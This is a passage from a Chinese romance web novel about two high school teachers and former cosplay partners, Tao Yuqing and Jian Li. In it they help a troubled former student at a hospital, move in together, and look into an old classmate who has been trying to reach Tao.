“我爸是开药店的，我回去问问他。” “对啊对啊，我看好多带高三的班主任，不是肩周炎就是腱鞘炎的，还有的偏头痛……” “别说老师了，我现在都觉得我肩周炎了，”有个男同学扭了扭脖子，说：“可真痛。” “你纯是打游戏打多了你。” “去去去一边去。” 宁雨还是不太放心，起身说：“我去办公室看看。” 邓留萤也说：“我也去我也去。” 办公室，陶与晴坐下甩甩手腕，被简璃拉过去。 简璃给他轻轻按摩，说：“刚才余兮给我打了个电话。” “他说什么了，”上次聊过以后，陶与晴有一段时间没听见余兮的消息了，网上也没有什么动静，还是挺担心他的精神状态的，“语气怎么样。” “听起来比之前好了点，他说他换了新手机和手机号，刚注销了微博账号，辞职了，”简璃一边帮他揉手一边说：“他打算旅游一阵子，调整好了以后，再回归正常生活，没有你的联系方式，让我也向你道声谢。” “我们也没做什么，主要是看他自己愿不愿意出来，”陶与晴说：“这样也好，希望他换个心情，能重新振作……就是那微博账号可惜了。” 粉丝还是挺多的。 “我也这样说，但是他说，反正是时间会带走的东西，不算什么，”简璃低头看了一眼他的手：“手还疼吗？” 陶与晴点点头：“有点，下班了去医院看看吧……之前也忙过，不知道为什么这次开始痛了。” “这种病都是积少成多的，”简璃说：“我改作业改着改着，肩膀也会酸，你的手经常活动、还接触化学用品，能没事吗。” 陶与晴的手是极好看的，白皙修长，简璃的也是，但是比他的手略大一些。 两个人还在办公室里握着手呢，门突然就被打开了。 “陶老师我们……”邓留萤带头开门，后面跟着宁雨。 那一瞬间陶与晴和简璃就收回手，但是还是被看见了。 邓留萤看见他俩的样子，像是彻底和好了，按下激动的心情，关心道：“我和小雨不放心来看看你，你没事吧？” “没事没事，你们不用担心，我一会就去医院看看。” 陶与晴刚才还没反应过来，现在意识到他和简璃在谈恋爱啊。 不管怎么样谈恋爱被撞见还是挺不好意思的。 刚才好像还在几个学生面前拉手了，下次得提醒简璃注意点。 “别担心了，”简璃也说：“我上完课，就带陶老师去。” 邓留萤嘱咐：“一定要照顾好陶老师啊简老师。” “我当然会照顾好他，”简璃侧头看了看陶与晴，眼里的喜欢是藏不住的：“你们就好好学习就行，少让你们陶老师操心。” “你才更操心呢，”陶与晴笑了，忍不住说：“帮我改卷子改到那么晚，差点被关在学校了。” 邓留萤逐渐按捺不住激动，快哭了：“一定要照顾好他，你们两个都要好好的，呜呜你们要……” 她越说越不着边，宁雨看赵遇京被拎多了，学会了简璃的拎人手法，把邓留萤拉出来，说：“……陶老师好好休息，那我们先走了。” “呜呜呜豹豹猫猫好幸福呜呜呜吃上饭了吃上了……我尸体都暖了……” 宁雨拽着邓留萤面露难色：“快走吧别丢人了……！” ……搞抽象的能不能和赵遇京一桌！ 邓留萤回到教室抱着吴尽夏一边晃一边哀嚎：“小夏呜呜呜！我出生了，我的爸爸妈妈好幸福他们好幸福呜呜——” 吴尽夏听不太懂，但是不管怎么样，总之拍了拍她的背：“好好好……呃，恭喜？” 赵遇京在后排摇摇头，一边转笔一边说：“就不能像我一样，稳重点吗？你看，我就心里只有学习。” 邓留萤停止摇晃吴尽夏，看了他一眼，“你……？” 姜一安听见这话，放下笔站起来，转身，弯腰伸手在他课桌里面捣鼓了几下，摸出一袋子没被简璃发现的气球。 唯手熟尔。 “不是？小班长！等等等……错了错了哥，我再也不吹牛逼了，哎哎哎。” 赵遇京屁颠屁颠就追过去了，期间大腿撞到了桌子痛呼一声，努力卖惨一瘸一拐的阻止姜一安上交赃物。 然后姜一安伸手把那一袋子气球丢给宁雨，宁雨稳稳接住。 “雨哥雨哥，是不是兄弟，别别别。” 那边邓留萤对宁雨招招手，又接住了抛过来的那袋子气球，对着赵遇京做了个鬼脸：“略略略。” 赵遇京拔剑四顾心茫然，气笑了：“你们几个搁着遛我呢？” 简璃走进教室就看见这一幕，拍了拍讲台：“赶紧坐好，上课铃没听见吗，赃物给我交上来。” 赵遇京只好乖乖的看着邓留萤上交了赃物。 那咋了，刚好有借口压着姜一安请他吃零食了。 “藏的挺深啊，臭小子，”简璃瞪他一眼：“赶紧给我坐好。” 一直到最后一节下课之后，简璃在走廊被叫住了。 吴尽夏抱了一堆糖，塞给简璃。 “简老师，这是班上的同学让我转交的，给你和陶老师吃的，你们都要注意好身体。” 简璃接过那小袋子的糖，这次决定不跟他们计较了。 “注意身体还给我们吃糖？” “嘿嘿，大家财力有限……” “知道了，买这么多，你们上课可不许偷吃啊。” 吴尽夏点点头：“嗯嗯，都是课间的时候大家去买的，保证不偷吃。” 因为其他同学还是比较怕简璃的，又不好去办公室打扰陶与晴休息，但是吴尽夏不仅是学委还不怕简璃，所以就都让她转交了。 下午没课，吃过饭，简璃陪着陶与晴到医院检查了一下。 说是劳损了，好在还不是很严重，内服外敷的药各开了一点。 “手不要沾冷水，注意休息，”医生写着单子，抬眼看了一眼简璃，说：“是那个……扶光还有离玉吧。” 简璃一愣，和陶与晴对视了一眼，回答说：“……对。” 这医生大叔看着都五十多了。 怎么还认出来了？要知道二次元毕竟国民度不高，简璃和陶与晴走在大街上也就几个人能认出来的。 “看你俩脸熟，行，拿着单子去那边拿药吧，”医生说：“我女儿还喜欢看你俩呢，注意点身体。” 医生倒也没说什么别的，只是因为自己女儿才知道的，但是就是觉得被医生认出来，有点怪怪的。 好像在背着粉丝偷偷生病被抓包。 简璃拿着单子去拿药了，让陶与晴坐在医院的椅子上等。 那边挺多人排队的，估计还要等上一会。 陶与晴自己给自己揉了揉手腕，从口袋里摸出一颗学生给的糖拆开放嘴里。 甜甜的。 鼻腔里甜滋滋的味道忽然被一股烟味占据了。 他余光看见旁边坐下一个身上挂了挺多彩的男生，身上还有些烟酒味。 ……但是看年纪，好像和宁雨他们差不多大才对，怎么浑身都是社会气息，而且有点眼熟。 出于对这个年纪男生的滤镜，陶与晴主动关心他：“你好小朋友，你这是打架了吗？发生什么了。” 男生看了一眼陶与晴，认出来他的脸，猛的站起来。 他一句话没说，只是脸上表情很奇怪，转身就跑了。 “哎？”陶与晴觉得很奇怪，这小子跑什么？于是起身追过去。 男生一路跑到走廊死路，回头看见陶与晴追上来，然后被拉住了手臂。 “别跑啊，我又不是坏人，”陶与晴感觉自己确实体力跟不上这些小年轻，才跑两步就开始喘了，换了口气，拉住他说：“你不是来医院拿药的吗，身上都是伤口，快先去包扎一下。” 男生还是没说话，陶与晴没放手，让开一点身位，说：“你家长没来吗？走吧，我带你去挂号。” “我自己会去……！”男生开口，声音沙哑，语气低沉但是咬牙切齿的。 陶与晴仔细看了看他的脸，说：“你是……一中的学生吗？” 隐约记得，自己好像是在学校里见过这张脸。 但是学生太多了，陶与晴也不知道是不是自己记错了。 “不是也没关系，我是一中的老师，我姓陶，你这样子自己在医院乱晃不行的，我带你去买点药吧，你身上带钱了吗？” 最终，男生还是被陶与晴带去挂号了。 简璃提着药走过来，看见他不在原处，四下找了找，发现他在挂号窗口，旁边站着个和他差不多高的男生，身上有伤口。 看来他家陶先生又去捡小孩子了，这次还是路边的。 “怎么在这儿，”简璃走到他旁边，说：“怎么回事。” “我看他一个人在医院，也没挂号，也没拿药，我就问问他，”陶与晴又对男生介绍到：“这个叔叔也是一中的老师，你不用怕的。” “……我看他不是怕，”简璃一眼认出来那是谁，眯了眯眼：“是心虚。” “嗯？” 男生低头，不敢去看简璃，想走，被简璃给拉住了。 “康文诚，你还敢打架，怎么回事，给我好好说。” 简璃力气到底是比一个十几岁的男生大得多，拉着他随便他怎么挣扎都没松手，面上是轻松写意。 “康文诚？”陶与晴对这个名字也有印象，想起来了什么，扭头：“你就是康文诚？” 高一的时候，爸爸来学校闹事的那个学生。 陶与晴被用凳子打破了头，好险没有大事。 简璃一想到这个就生气，用力抓紧了手，不顾那孩子挣扎，说：“先包扎，然后给我好好的解释一下。” “我都不是学生了！少管我！” “你觉得你现在有权利挣扎吗，”简璃绝对的武力压制，三两下就把三脚猫功夫的小屁孩给压住了，“老实点。” 陶与晴也没想到时隔这么久还能在医院遇上，而且自己如果不出于好意搭话的话，可能都不知道他是康文诚。 当时进了医院他就没见过这学生，但是简璃是见过的。 简璃压着那孩子先去拿了点药，然后把他摁到路边的台阶上坐下。 他居高临下看着这小子，说：“解释。” 简璃生气，一是因为他父亲打伤过陶与晴，二是因为作为一个老师，他见不得这个年纪的男生搞成这个样子。 一身的烟酒味，哪里有十几岁男孩子的样子，哪怕简璃和陶与晴并没有教过他，也看不过去。 康文诚打又打不过简璃，跑又跑不掉，愤愤坐在台阶上垂着头，做哑巴。 最后还是陶与晴率先问：“……退学之后，你没再去别的学校吗？” “……去不了，”康文诚低着头，说：“我爸家暴我妈和我，在闹离婚，公司欠了钱，还不起债。” 他说着说着，就从兜里掏出一包烟了，陶与晴直接就给他收走了。 “还给我！” 简璃单手把他摁回去，让他和陶与晴保持安全距离，红脸唱到底：“坐好。” “小小年纪，别抽这么多烟，”陶与晴语气比起简璃温和很多，没收他的烟，说：“那你现在在做什么呢？” “打工呗，还能干什么，”康文诚被摁回去，虽然不服，但是也没办法，“帮我妈看店。” 他才刚满十六岁不久。 家里其他亲戚都说他这个年纪上不了学，这辈子就算是毁了。 而且他初中还染上了烟瘾，看起来更像个小混混了。 “……有时候真的挺想死的。” 陶与晴做到他旁边：“那今天又是发生什么了呢。” 康文诚说：“他们先来惹我的——我好好的在店里帮我妈，他们走进来骂我是杀人犯的儿子，一群法盲传你妈的谣言呢，他们根本什么都不知道。” “你看你，还懂点法呢，那怎么还和别人互殴，”陶与晴打开医生给的药，给他一边上药一边说：“身上挂这么多彩，可没我们班的一个学生厉害啊。” “你说的是宁雨吧。” “你知道？” “他初中那些事儿，怎么会没听过。” “你刚刚还说别人造谣呢，怎么听信这些风言风语了。” 康文诚一时沉默。 过了一会，扭开脸，说：“你要是以为拿他举例子那你就错了。” 康文诚：“他打架逃课考试能上九十分，而我往死里学，都只能考五六十，我这种天生就不配读书。” “纠正一下，他没有自暴自弃到这个地步，”陶与晴给他贴好一处伤口，说：“而且小雨一直很用功，他不是因为天生就聪明才能考好的。” 简璃看他没再挣扎，收手靠这楼梯旁的栏杆，说：“打不过还打，是傻。” “那是他们人多！”康文诚急了：“要是单挑宁雨也不一定打过我……” 精神挺好的嘛，还知道吹牛。 “你先来和我打赢再说吧，”简璃抱臂，“就你那点三脚猫的功夫，只是挂点彩不错了。” “嘁，管我干什么……” 明明他老爸罪有应得，还打过陶与晴呢。 康文诚说看着陶与晴给自己包扎，哼了一声说：“你缺心眼吧……我爸打了你你还帮我包扎。” 陶与晴倒是听笑了，手上动作没停：说：“是啊，今天去医院的时候遇到个缺心眼的老师，你回去可以一直说我坏话了。” “……” “其实，也不是每个人都适合大家都做的事情，而且就算这件事做的很成功，也可能会有很多你不喜欢的事情发生，”陶与晴给他的绷带打了个漂亮的蝴蝶结，说： “今天有一个哥哥，他做一件事做的特别成功，但是因为家庭原因，让他每天都活的特别压抑，甚至丧失了他原本做这件事的兴趣，一度在崩溃边缘。” “……”康文诚不喜欢听人讲大道，觉得假的很。 但是不知道为什么，陶与晴说这些，他……有点愿意听。 “不过，他今天打电话过来，他已经想要开始新的生活，我觉得你也可以试试。” “……他的父母再坏，也没有坏到要打官司吧。” “但你还在生活里，”简璃插话道：“你再埋怨也改不了的现状，去埋怨有什么意义呢，把他甩开才是有效的办法。” “说的容易，我的人生都烂透了……” 简璃又说：“你是过不去自己心里的坎，过不去旁人的目光，还是根本不想做？考试考高分前途就一片光明可以摆烂度日了？现在大学生遍地都是，每个都月入过万吗？不也是靠自己努力慢慢打拼的？你一边抱怨生活，一边糟践自己，就能改变现状了？” “简老师说的虽然话是糙了点……”陶与晴高情商的翻译了一下简璃的话：“但他是想告诉你，不要走你爸爸的路，生在沟渠里，也可以向阳而生，赚正确的钱，哪怕少一点，够自己生活也挺好。” “……那我该怎么办，我又上不了学。” 陶与晴帮他包扎好最后一块伤口，说：“先从戒烟开始，如果实在上不了学，就好好工作，或者你想离开这个城市也可以，不要自怨自艾，要相信你和你爸爸不一样，你可以靠自己的能力赚钱，也可以生活的和普通人一样。” 陶与晴在他手里放了几颗之前学生给的糖，说：“想抽烟的话，就吃颗糖吧，时间和岁月、总会把苦难的日子都带走的。” 康文诚走了，拿着几颗糖，没把烟要回去。 陶与晴看着那孩子的背影，觉得自己可能这辈子都不会再遇见他了。 最后康文诚还道歉了，替他父亲道歉，不应该在学校为难徐老师，也不应该打伤陶老师。 虽然他来道歉并没有什么用，他父亲大概不觉得自己有错。 其实他见到陶与晴那一刻就想道歉的，但是他当时不知道为什么，就是不敢说，直到刚才才说出口。 陶与晴也不清楚今天的偶遇能对他人生产生什么影响，但要是多多少少能影响到一点，那也是好的。 ……就是刚才帮他包扎手腕又抽到了，嘶…… 他真是越来越脆弱了。 “又痛了？”简璃拉过他的手，揉了揉，叹口气。 陶与晴看他唉声叹气的，笑了笑说：“怎么了啊，简老师。” “我们家有位先生，”简璃故作悲伤状：“路过什么小猫小狗都要去捡一下怎么办？明明自己本来是去买药的。” “可是小猫小狗在路边真的很可怜哎……”陶与晴知道他担心自己的很，刚才也是很帅的保护自己，反手拉住他的手，半开玩笑道说：“况且如果没有我，简老师也会去捡小猫小狗的。” 毕竟他家的简老师，也是非常有正义感的。 “我会狠狠的揍他们一顿，帮助他们早日认清。” 简璃把陶与晴的手拉到唇边亲了亲，心想突然有些伤感。 时间终会匆匆走过，不仅带走苦难，也带走美好——这只手要是有一天捡不动这些小孩子了，该怎么办呢。 他的陶老师，可是被很多这种小猫小狗惦记着健康的。 “如果有一天我不去路边捡小猫小狗了，”陶与晴笑了，走近他微微抬头，和他鼻尖碰了碰，“简老师还喜欢吗？” “那一定是你捡累了，想休息休息，不过不捡了也好，”简璃低头轻轻吻住他的唇，浅尝辄止，不一会松开说：“怕就怕，捡回来的小猫小狗太多了，影响我的地位。” 第58章 “从以前就想问问，”陶与晴被亲了一下不自然的看了看周围，还好没什么人，“你的情话到底是哪里学来的？也没见你经常对粉丝说这些啊。” 而且为什么这么会亲。 “可能看见你无师自通了吧，那这么说，这应该是你的天赋。” “这算什么解释？” “好了，今天早点回家休息，”简璃拉了拉陶与晴的衣袖，说：“不然你的学生要怪我没照顾好你了。” 陶与晴笑了，想起来什么，说：“我昨天跟房东说了一下……不对——昨天我房东突然告诉我，这个房子不租了，那个……” 简璃眼睛逐渐睁大。 陶与晴接着说：“所以……如果没有人收留我的话我只能回父母家，上下班通勤很不方便的……” “现在搬，”简璃：“现在就回去搬。” 怎么这样啊简老师。 也太着急了。 陶与晴觉得他这个样子真是很有意思，跟个小孩子似的。 陶与晴东西确实比较多，大部分都是些道具材料什么的，今天先搬了点日用品过去，反正也就隔了一栋楼。 简璃还是选择把客房收拾出来了，陶与晴觉得幸好，不然自己实在不好意思这么快就一个房间。 两个人还一起打扫了一下家里，陶与晴手疼，说是打扫其实就是指挥简璃做，自己在旁边干点轻松的。 也是第一次打开了简璃的储藏间。 那里面摆着许多纸箱子，里面装的都是一些c服和用过的假发道具，看得出来是过的，但是现在简璃打算彻底收拾出来给陶与晴做工作室。 一般一个角色他出个一两次，就不会出了，但是简璃怀旧情节蛮重的，这些东西从来舍不得卖二手或者换掉，一直留下了，导致越来越多看起来就很乱。 “这件是你参加x站周年活动穿的吧，”陶与晴还能记得这些，说：“好几年了，我记得当时是临时换了角色。” 简璃点头：“嗯，那个时候也就你能把道具和假发一起赶出来，而且质量非常好。” “那时候刚好寒假嘛。” 里面桩桩件件，都是简璃以前出过的角色，陶与晴和他一起收拾出来，一起回忆过去，想起来很多之前的事情。 不知不觉的，他已经和“离玉”走过了第八年了。 不对，现在应该是简璃。 真是缘分，让他们多年后又在同一所学校相遇了。 “我做老师是受了我爸的影响，也是想弥补一下学生时代的遗憾——”陶与晴说：“你做老师是为什么呢？” “自然而然的，”简璃回答：“高中有次放学，看见一个比我小一届的学弟在路边抄作业，我批评了他，他以为我是真的老师呢。” “这么简单你就决定做老师了？” “有时候选择一个职业没那么多由，”简璃说：“觉得自己适合……当然，我的学生可能觉得不适合。” “哈哈……”陶与晴动手拿走一个空箱子，发现那个空箱子后面有一个格格不入的小箱子。 他伸手想去拿，被简璃抢先一步。 “我来。” 简璃替陶与晴把那个小箱子拿出来，感受了一下重量，忽然知道里面是什么了。 “这里面……”陶与晴走过去看，打开发现…… 里面居然是很多玻璃碎块，一些布料，还有乱七八糟的，看起来像是碎了的东西。 “这个，”简璃把箱子放在地上，打开说：“之前我爸弄坏的，我捡回来一点，放进箱子里了。” 陶与晴跟着他蹲下，想到他和余兮聊的时候说过这件事，说：“叔叔他……特别不开明吗？” “嗯，他和我妈凑合过日子，三天一小吵，我和我姐一般不回去，瑞瑞也不适合在这样的家庭长大，但是后逢年过节还是会意思意思。” “之前他们还会来这里找我，吵过几次以后就不来了，大概他们也不想自讨没趣，”简璃扒拉了一下里面的碎块，“……居然没把这个箱子扔掉，我都忘了它还在了。” “我记得你之前和余兮说……你不能带你喜欢的人去见他们，是怕这个吗？”陶与晴指了指自己，“他们……不能接受男生啊。” “嗯，但是不重要，”简璃张嘴嘲讽：“我姐和薛子实结婚也没见他们支持，总是挑出毛病，都没差……这辈子不是你也不会是别人，只要你不觉得委屈我们就结婚，如果你介意这个……” 陶与晴眨眨眼：“你就不和我结了？” “我就软磨硬泡让你别介意。” “真是窝囊，”陶与晴笑了：“还以为你要说绑也要把我绑去婚礼现场呢。” “如果我老师师娘不会对我动手的话……扶光老师喜欢粉色的麻袋吗。” “哈哈哈哈……”陶与晴笑累了，摇摇头说：“我不介意，而且我也不介意回去见他们。” 简璃看了看他，说：“就算是你这么讨人喜欢的人，他们也一定会挑刺的。” “也不能让你一个人面对啊，你要是过几年还不告诉他们你对象是谁，给你安排一堆相亲怎么办？”陶与晴眼神突然认真起来，感觉威风凛凛的，“我当然要去宣誓一下主权，他们不接受也没办法。” 简璃摸了摸鼻尖，愣了片刻，说：“看来我们家出了个更不讲道的人。” “和你学的。” “学得好，那老公现在亲亲你。” 陶与晴躲开他：“还没结婚呢，谁老公了，” 闹了一会，简璃把储物间都收拾出来了，陶与晴没干什么活，总有种坐享其成的感觉，自己刚说搬过来，就占据了简璃家大半的面积。 他看了一眼脚边那个装着碎物的箱子。 “那，”陶与晴说：“我们一起去楼下扔掉吧？” 简璃点头，“好。” 陶与晴和简璃一起下楼，把那箱东西丢进了垃圾桶，然后又去一起吃了饭，到超市里买了点水果回家，慢慢悠悠的走回去。 然后窝在沙发上一起改学生作业，改完了什么都不干，单纯的休息。 陶与晴睡在简璃大腿上，享受着手腕的按摩服务。 “这么讨人喜欢”的陶老师躺在简璃身上睡着了，被人抱回房间里盖好被子，轻轻的关上房门。 第二天在陌生的地方醒过来，陶与晴还反应了一会，才想起来自己昨天简单的搬了个家。 生物钟准点六点叫醒陶与晴，走出去果然，简璃比自己醒的还早。 他已经洗漱完了，走过了亲亲陶与晴的额头。 “早安，陶老师。” 陶与晴借着困意抱住他充充电，说：“早。” 今天早课上的陶与晴气色好了不少，手上是贴了膏药，虽然用长袖挡住了。 台下的学生互相看了看，觉得他们的陶老师应该是真的去看医生了，才放心。 陶与晴下课前还特意谢谢了昨天同学们送的糖。 “不客气！” “老师你喜欢吃我们可以天天买。” 有人说：“你想陶老师糖尿病啊你。” 底下一整哄笑，陶与晴也笑了，说：“糖可不能吃多了，大家都要注意身体。” 陶与晴还是得处很多事情，回到办公室屁股就没离开凳子。 一连忙起来又是几天过去，明明搬到一起了，结果第一个周末也没什么二人世界，简璃能做的不多，也就帮他买买饭打打下手什么的。 高老师每天都有老婆做的便当，也从繁忙的工作中抬头，对陶与晴说：“小桃子，什么时候让你们家简老师学学做饭啊。” 陶与晴不会主动提起，却也没想瞒着他和简璃的关系，无奈，看了一眼高老师，说：“高老师，您别开我玩笑了。” 有的人天生就不适合进厨房。 他们家简璃应该是这辈子都学不会了。 “哈哈哈，”高老师也是趁着简璃现在不在，才说：“你让他多练练。” 练得好，但是陶与晴觉得简璃别练。 这话要是说出来，他家简老师又要委屈了，可不能提可不能提。 校门外的简璃提着一盒荤素搭配的饭盒，往学校走，走到门口忽然被人给拦住了。 简璃疑惑的去看那人，是个男人，已经工作了的样子，手里拿着公文包，身型很瘦，不算高。 “有什么事吗。” 要不是他神态奇奇怪怪的，简璃会以为他是个发传单的。 “我就想问问，你们这个学校里，是不是有个叫陶与晴的啊。” “……”简璃：“我不清楚，你找这个人有什么事吗。” “啊也没有，没有就算了，”男人没有多说什么，“算了算了，我先走了。” 非常奇怪。 简璃回到办公室，说：“门口有个男的，刚才问我你是不是在这个学校。” “男的？”陶与晴第一反应是不是男粉之类的：“他来找扶光吗？” “不是，他直接说的你的名字，”简璃说：“我说不清楚，问他要干什么，他也不说就走了。” 简璃又简单的形容了一下那个人的样子和特征。 “这是很奇怪啊，”陶与晴仔细想了想，自己似乎不认识这样的人，“他真的什么都没说就走了吗？” “对，非要形容，跟做了亏心事一样的。” 只是遇到了一个奇怪的人，起初陶与晴和简璃都没有在意这个事情。 结果晚上，陶与晴的微信收到了一条好友验证，他从沙发上坐起来。 “怎么了？”简璃把刚洗好的水果放在桌子上。 “……有条奇怪的验证消息，”陶与晴把手机的验证界面给简璃看，说：“他就写了个老同学，没有名字没有目的，是不是你白天遇到的那个人啊？” 简璃拿着陶与晴的手机看了看，坐下。 点开临时会话框打字。 ：你是？ 陶与晴头靠在简璃肩膀上看他说，顺手被投喂了一颗草莓。 对方很快回复了。 ：你是陶与晴对吧？我是肖扬啊，还记得我不。 简璃看了看陶与晴。 “……好像有点印象，”陶与晴说：“初中时候……好像是有这么个人。” “欺负过你？” “没有没有，我记得他是一个很安静的人，因为比较胖，所以有点自卑。” 简璃再次打字。 ：有什么事吗。 ：没啊没啊，就是这么多年不见了，我看推送里有你联系方式就加了，叙叙旧啥的。 ：你到底有什么想说的，直接点。 ：你这……你这人性格咋还变化这么大呢，就是老同学聊一聊呗。 ：没钱不借，不吃饭不聚会，已有对象，工作稳定。 说完，简璃就给人忽略屏蔽了。 好一套连招。 陶与晴趴在简璃肩膀肃然起敬。 “这种支支吾吾半天没个正事儿的老同学，能憋什么好话就怪了，不是借钱就是来拉客的，”简璃退出去无意看见了底下的验证消息和微信号，“……这个叶医生还想加你好友？” 陶与晴听到这儿，迅速拿回自己的手机，想了想有些狡猾的说：“我没同意呢，有证据的——况且过去多久了，不就是一个以前喜欢我的人和我相亲吗，这就吃醋了？” “……”简璃伸手揽住他的腰，说：“陶老师这是在挑衅我？” 陶与晴朝后躲了躲，移开目光：“……没有啊，明明是你小气。” 然后他就被简璃给吻住了，逐渐被压在沙发上，亲的喘不过气来。 “确实，”简璃好不容易松开他的嘴，说：“我醋性大，陶老师怎么安慰我？” “一个好友验证而已，”陶与晴捂住自己的嘴，但是继续说：“我逗逗你，你太不经逗了，而且人家可是医生，我觉得……唔……” 他的手被拉开扣在头顶，嘴唇又被简璃衔过去。 然后陶与晴感觉自己压不住喘声。 “！” 再撩拨下去指定要出事。 他一个兔子蹬腿，把简璃连人踹下沙发。 “……”简璃懵了一会，舔舔嘴唇，说：“只管撩不管灭，是不是有点缺德啊陶老师。” “……太快了，”陶与晴抱着抱枕坐在沙发上看他，说：“总之……你自己解决。” “明天周六……” “明天周八都不行。” 简璃叹了口气。 他到底为什么有了男朋友还要去冲冷水澡冷静。 谁让他宠他呢，害。 陶与晴在沙发上缩成一团。 事实证明以后绝对不要随便逗简璃。 ……而且他那个东西的尺寸是不是有点…… 陶与晴的确有点被吓到了。 陶与晴不敢细想，不然自己也得去冲个澡了。 这事儿干的是有点缺德……之后陶与晴心虚的没撩他了，被人抱住也没挣扎，安静的像个抱枕。 然后陶抱枕被打横抱起来。 “干嘛？” “睡觉。” “我要回我自己房间！” “不管。” 然后就被摁着当了一晚上的抱枕，简璃睡着了都不松手的那种。 早上醒过来简璃还在睡，陶与晴只好从他怀里挣扎着拿到手机，把那条叶多青的好友验证给删掉。 再让他看一眼不得看一次醋一次啊。 小气鬼……嘴都给自己亲红了。 陶与晴伸手捶了简璃两下。 也不知道这人是不是故意的，被打了两下以后手抱得更紧了。 他绝对是醒着的吧…… 反正是周末，陶与晴借坡下驴，埋回他怀里接着睡回笼觉。 抱了一会，陶与晴又睡着之后，简璃松手，撑着头看他的睡颜。 光线刚好，秀色可餐。 这是他们在一起之后第一次同床醒来，值得纪念。 于是他拍下了一张睡颜的照片，设成了屏保。 除此之外，简璃还是觉得莫名其妙出现的老同学很奇怪。 陶与晴说肖扬是个很胖的男生，如果不考虑他长大以后减肥的情况，难道自己校门口遇到的那个人不是同一个？ 简璃坐起来，一手放在陶与晴柔软的头发上，一手拿起自己的手机。 对叶多青发了个好友验证过去。 他也不想和情敌有什么交流，但是目前能提供初中线索的，好像也就叶多青了。 叶多青也没有直接通过好友验证，而是现在聊天框里发言。 【叶多青】：？ 【简璃】：相亲局我们见过，我是陶老师的同事。 【叶多青】：是你啊。 【叶多青】：你……找我有什么事？ 【简璃】：你是他的初中同学，听你那天说他们班有同学聚会，你应该加了不少他们班的班级群之类的。 【叶多青】：对，不过那天之后我就退了，怎么？ 简璃把昨天的事情说了一遍，问：我就想问问，这件事到底什么情况。 【叶多青】：……我就算失恋，也犯不着广而告之以前的同学，丢脸的不也是我。 【叶多青】：我也不知道怎么回事。 从她语气来看，简璃觉得不是撒谎。 【简璃】：好，我相信你，那打扰了。 【叶多青】：等一下。 【简璃】：？ 【叶多青】：我也可以加群回去，侧面问问看，到底怎么回事。 【叶多青】：如果你有空，我们可以见一面谈谈这个事。 【简璃】：……搞错了吧。 【简璃】：你约我见面？ 【叶多青】：你根本不是他同事吧？你们应该是情侣，哪有同事对他的事情那么上心，之前还来截胡相亲的。 【叶多青】：恋爱自由，我不管他和什么样的人在一起，但我就想知道我输在哪。 【简璃】：其实你根本没那么喜欢他，你自己也知道吧。 【叶多青】：我承认也没有那么喜欢，只是觉得他是个很好的结婚对象。 【叶多青】：但输了以后，想知道一个由而已，同城见个面不难吧。 介于叶多青的交换条件很不错，简璃答应了她的邀请。 不搞清楚这件事怎么回事，心怀不轨的人想堵校门口，太容易了。 陶与晴睡醒听见这么个事情，差点把牙膏咽下去。 他迅速洗了洗嘴，擦了一把脸。 “叶多青约你？你们两个……”陶与晴结合昨天的事情，觉得他俩像是约架的，“你们两个、有什么共同语言吗？” “她是你的初中同学，之前还加过你们的班级群，我就想她会不会知道点什么，就因为老同学的事情去问了问她。” “……她的微信号在你眼前就出现了几秒钟吧？” 简璃说：“一想到是情敌的微信号，就果断记住了。” “……” 太可怕了简璃。 无论是一眼记住情敌的微信号，还是果断和情敌统一战线搞调查。 从哪个角度都太可怕了啊！ 经过昨天他无论怎么挣扎都摁不过简璃的经验来看，陶与晴默默在心里给向思远道了个歉。 A不过A不过。 ……就当之前的宣誓都是浮云吧。 陶与晴认清这件事并且接受度良好。 出门前，简璃看了看陶与晴，有些不满：“你确定你也要去吗？” “当然了，”陶与晴说：“而且之前相亲走的匆忙，说起来还要给她道个歉呢。” “……好过头了吧，陶老师，这么久了你还记得给她道歉？” “好了好了，别吃飞醋了，有求于人家，你态度好一点知道吗。” 简璃挣扎了半天，还是没拒绝陶与晴：“……知道了。” 约定地点是个茶馆，开车二十分钟左右。 叶多青这次也化了妆，换了新衣服。 看见简璃还带来了陶与晴，并不意外。 简璃拉着陶与晴的手坐在她对面，开门见山：“那么，叶医生问出什么了吗。” “昨天我已经加回了初中的班级群，并且加了你说的那个肖扬的好友，”叶多青晃了晃手机，说：“想知道的前提，我要和陶与晴单独聊聊。” 简璃：“……” 陶与晴：“……我倒是不介意的。” 简璃闷声站起来，很不爽的走了出去。 “叶医生，”陶与晴率先说：“去年长辈安排的见面，贸然走了确实不太好，我向你道歉。” “……”叶多青也没想到陶与晴会主动提起这个事情，当时走的时候，看他脸色不太好的样子，还以为他就是看不上自己。 “这个倒没什么……”叶多青反而有点不自在了，昨天得到陶与晴和简璃在一起的肯定答案之后，本来是想借此机会狠狠示威。 要让他知道知道拒绝了自己选择了简璃，自己也不是好惹的。 结果陶与晴这个人也太真诚了，搞得她都不好意思说什么重话了。 “谢谢你帮我问话，”陶与晴笑了笑说：“初中对于我来说是比较痛苦的回忆，我男朋友知道这件事，所以比较上心，实在是麻烦你了，他没有说你什么吧？他人很好的，只是比较担心我，你不要介意。” “呃……”叶多青好不容易酝酿的一系列狠话无处发泄，“也不算很麻烦，他也没说什么别的。” 不是…… 陶与晴怎么还谢谢她啊？ 这…… 她还怎么骂他啊！ 第59章 叶多青咬咬后槽牙，最后什么狠话也没说出来。 “那个人确实是肖扬，校门口也是他。” “是吗？”陶与晴说：“他这……怎么突然来校门口，又突然加我好友的……” 实在是太像个坏人了吧。 “他说他是想和你道歉来着，”叶多青最不喜欢和这种人沟通，说：“不过他过两天就要离开祁城了，有需要的话，我可以帮你把他约出来，你们聊聊。” “道歉？”陶与晴回忆了一下初中的时候，说：“他没做什么对不起我的事情啊，为什么要道歉。” 而且的好友验证，他也是支支吾吾的，不知道的以为真是来借钱的呢。 叶多青摇摇头：“那我就不知道了。” 简璃在外面的长椅上坐着，过了一会，看见叶多青走了出来。 “你们聊完了，”简璃看了看茶馆的窗户，陶与晴并没有出来还坐在那个位置：“……我对象呢？” “我帮他约了人，他在里面等，”叶多青也坐下，和简璃一头一尾隔开一个距离，脸色变了变，说：“……这叫什么事儿，我干嘛要帮一个拒绝我的男的。” “……”简璃盯着茶馆二楼的窗户看了一会，保证在自己的视线范围里很安全，说：“叶医生，其实你也挺矛盾的。” “怎么，”叶多青看了简璃一眼，“老师做多了，都这么喜欢挑别人毛病吗？” “我不是在挑，”简璃后背靠住长椅，望着长椅上方摇摇欲飘的黄色落叶，说：“我只是客观的陈述，你说你喜欢他，但是我没感觉出来，你自己也觉得你不够喜欢，可你又不愿意放手，不觉得很矛盾吗。” 